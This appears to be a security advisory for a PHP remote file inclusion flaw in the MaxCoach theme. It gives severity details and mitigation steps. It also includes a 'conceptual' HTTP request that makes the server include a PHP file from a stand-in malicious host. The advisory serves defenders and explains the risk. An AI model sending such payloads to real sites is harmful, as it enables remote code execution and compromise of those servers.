Overview
CVE-2025-58206 is a critical vulnerability discovered in ThemeMove MaxCoach due to improper control of filename for the Include/Require statement in PHP Program (PHP Remote File Inclusion). This flaw exposes systems to potential compromise and data leakage, posing a significant risk to businesses and users who rely on this software for their operations. With a CVSS Severity Score of 8.1, this vulnerability is categorized as a high severity threat that necessitates urgent attention and mitigation.
Vulnerability Summary
CVE ID: CVE-2025-58206
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
ThemeMove MaxCoach | n/a through 3.2.5
How the Exploit Works
The vulnerability arises from the improper control of filenames for Include/Require statement in PHP program within the MaxCoach theme. An attacker can manipulate the file inclusion mechanisms used in PHP to trick the server into executing remote files hosted on external servers. This can lead to the execution of arbitrary code within the server’s context, causing serious security implications such as system compromise or data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This involves a malicious HTTP request designed to trigger the PHP Remote File Inclusion:
GET /index.php?file=http://malicious-site.com/malicious.php HTTP/1.1
Host: vulnerable-site.com
User-Agent: Mozilla/5.0
Accept: */*In this example, the attacker is trying to force the server to include and execute the ‘malicious.php’ file from the ‘malicious-site.com’ domain.
Mitigation Guidance
The best course of action to mitigate this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. Additionally, it is advised to restrict access to sensitive files and directories and disable the ability to process remote files in the PHP configuration settings.
